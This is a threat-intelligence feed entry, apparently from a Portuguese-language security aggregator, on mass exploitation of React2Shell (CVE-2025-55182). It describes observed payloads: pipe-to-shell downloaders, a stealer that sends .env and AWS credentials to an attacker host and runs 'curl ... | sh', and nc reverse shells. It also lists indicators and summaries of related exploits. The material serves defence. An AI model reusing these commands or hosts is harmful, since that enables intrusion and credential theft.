/
← Voltar ao feed
critical exploit público

React2Shell (CVE-2025-55182) mass exploitation: RondoDox, credential stealers and reverse shells observed in December 2025

1 fonte(s) · 1 atualização(ões) · publicado 16/01/2026 14:00 · coletado há 1 dia

F5 Labs, using Efflux sensor telemetry, analyzed December 2025 exploitation of React2Shell (CVE-2025-55182), a CVSS 10.0 unsafe deserialization RCE in React Server Components. It was disclosed on 3 December 2025 and rose to second place among the most exploited CVEs, behind only CVE-2017-9841. Within days of disclosure, actors moved from simple canary payloads to mature botnet tradecraft, including fileless downloaders, raw TCP stagers, credential harvesters and reverse shells. The RondoDox botnet was among the actors observed, and F5 notes the seven payloads shown are only a sample of dozens seen. Targeting was observed in Australia, Singapore, Israel, Germany, Canada and the United States.

Technical Details

  • Payloads abuse prototype pollution keys (__proto__:then, constructor:constructor) and process.mainModule.require('child_process').execSync in server function requests.
  • Canary: appends the marker ismyhero to public/robots.txt to confirm command execution and write access.
  • RondoDox: a wget/busybox wget/curl chain pipes rondo.aqu.sh from 41.231.37.153 into sh, with the user agent calling card [email protected].
  • Two-stage loader: /dev/x86 is downloaded from 31.56.27.76, run with the argument reactOnMynuts, followed by nuts/bolts from 193.34.213.150 piped into sh. Output is surfaced through crafted NEXT_REDIRECT error digests.
  • Credential stealer: walks up the directory tree reading .env* files, plus ~/.aws/credentials and /root/.aws/credentials. It POSTs them to ivk.sh/nxtgrab.php?f=<path> and then runs curl -k -s https://ivk.sh/nxtplan | sh.
  • Raw TCP stager: nc/telnet to 45.125.66.90:3443 piped into sh. Activity from 89.42.231.244 and mewo.oceanic-node[.]su is believed linked.
  • Other payloads: an ICMP ping canary to 144.172.105.58, and a weball.sh download from 94.154.35.154 followed by a mkfifo/nc reverse shell to 193.142.147.209:12323.
  • Other top exploited CVEs in December: CVE-2017-9841 (PHPUnit), CVE-2023-1389 (TP-Link Archer AX21), CVE-2019-9082 (ThinkPHP) and CVE-2024-4577 (PHP-CGI).

Remediation

  • Patch React Server Components and review code for unsafe deserialization.
  • Deploy WAF signatures for prototype pollution keys, child_process / process.mainModule.require references, pipe-to-shell constructs and raw-IP URLs in request bodies.
  • Hunt for the listed IOCs and for outbound connections from Node processes.
  • Rotate any .env secrets and AWS credentials on exposed hosts.
  • Monitor anomalous outbound traffic.

6 exploits públicos

Há código de exploração publicado no Exploit-DB para CVE-2025-55182, CVE-2024-4577, CVE-2023-1389 e outros. O código não é reproduzido aqui: o link leva à fonte, e a explicação foi escrita pela IA a partir do arquivo publicado.

  1. exploit-db.com · EDB-52506 ↗ · aplicação web · multiple · pub. 09/04/2026 não verificado

    React Server 19.2.0 - Remote Code Execution

    The script targets CVE-2025-55182, a flaw in how React Server Components deserialize data sent to server function endpoints, as used by frameworks such as Next.js. An unauthenticated attacker with network access to an app running React 19.0.0 to 19.2.0 can trigger it with one crafted POST, no user interaction. It abuses object handling to run JavaScript on the server, giving command execution as the app user. It is a working-looking, blind PoC that scans a target list and leaks command output via DNS lookups; it only prints HTTP status.

    CVE-2025-55182 · autor: danieljavanrad · explicação gerada por IA
  2. exploit-db.com · EDB-52331 ↗ · aplicação web · php · pub. 15/06/2025 não verificado

    PHP CGI Module 8.3.4 - Remote Code Execution (RCE)

    This script exploits CVE-2024-4577, an argument injection flaw in PHP running as CGI on Windows, where a soft hyphen in the query string is turned into a dash and lets the attacker pass configuration options to the interpreter. It needs only network access to an exposed php-cgi executable, with no login or user interaction. The options make PHP run code sent in the request body, giving command execution as the web server user. It looks like a working exploit with multi-host scanning and an interactive shell.

    CVE-2024-4577 · autor: İbrahimsql · explicação gerada por IA
  3. exploit-db.com · EDB-51677 ↗ · remoto · hardware · pub. 10/08/2023 não verificado

    TP-Link Archer AX21 - Unauthenticated Command Injection

    This script exploits CVE-2023-1389, a command injection in the web interface of the TP-Link Archer AX21, where the country setting of the locale handler reaches a shell unsanitized. The attacker needs only network reach to the router's web interface, no login, and firmware older than 1.1.4 Build 20230219. Sending the crafted request twice runs commands as root, and here it opens a reverse shell to the attacker. It is a short but working proof of concept that matches the listed CVE.

    CVE-2023-1389 · autor: Voyag3r · explicação gerada por IA

Linha do tempo

  1. f5.com ↗ · pub. 16/01/2026 14:00 · coletado 19/10 18:02 primeiro registro

    React2Shell (CVE-2025-55182) mass exploitation: RondoDox, credential stealers and reverse shells observed in December 2025

    ler a análise desta fonte

    F5 Labs, using Efflux sensor telemetry, analyzed December 2025 exploitation of React2Shell (CVE-2025-55182), a CVSS 10.0 unsafe deserialization RCE in React Server Components. It was disclosed on 3 December 2025 and rose to second place among the most exploited CVEs, behind only CVE-2017-9841. Within days of disclosure, actors moved from simple canary payloads to mature botnet tradecraft, including fileless downloaders, raw TCP stagers, credential harvesters and reverse shells. The RondoDox botnet was among the actors observed, and F5 notes the seven payloads shown are only a sample of dozens seen. Targeting was observed in Australia, Singapore, Israel, Germany, Canada and the United States.

    Technical Details

    • Payloads abuse prototype pollution keys (__proto__:then, constructor:constructor) and process.mainModule.require('child_process').execSync in server function requests.
    • Canary: appends the marker ismyhero to public/robots.txt to confirm command execution and write access.
    • RondoDox: a wget/busybox wget/curl chain pipes rondo.aqu.sh from 41.231.37.153 into sh, with the user agent calling card [email protected].
    • Two-stage loader: /dev/x86 is downloaded from 31.56.27.76, run with the argument reactOnMynuts, followed by nuts/bolts from 193.34.213.150 piped into sh. Output is surfaced through crafted NEXT_REDIRECT error digests.
    • Credential stealer: walks up the directory tree reading .env* files, plus ~/.aws/credentials and /root/.aws/credentials. It POSTs them to ivk.sh/nxtgrab.php?f=<path> and then runs curl -k -s https://ivk.sh/nxtplan | sh.
    • Raw TCP stager: nc/telnet to 45.125.66.90:3443 piped into sh. Activity from 89.42.231.244 and mewo.oceanic-node[.]su is believed linked.
    • Other payloads: an ICMP ping canary to 144.172.105.58, and a weball.sh download from 94.154.35.154 followed by a mkfifo/nc reverse shell to 193.142.147.209:12323.
    • Other top exploited CVEs in December: CVE-2017-9841 (PHPUnit), CVE-2023-1389 (TP-Link Archer AX21), CVE-2019-9082 (ThinkPHP) and CVE-2024-4577 (PHP-CGI).

    Remediation

    • Patch React Server Components and review code for unsafe deserialization.
    • Deploy WAF signatures for prototype pollution keys, child_process / process.mainModule.require references, pipe-to-shell constructs and raw-IP URLs in request bodies.
    • Hunt for the listed IOCs and for outbound connections from Node processes.
    • Rotate any .env secrets and AWS credentials on exposed hosts.
    • Monitor anomalous outbound traffic.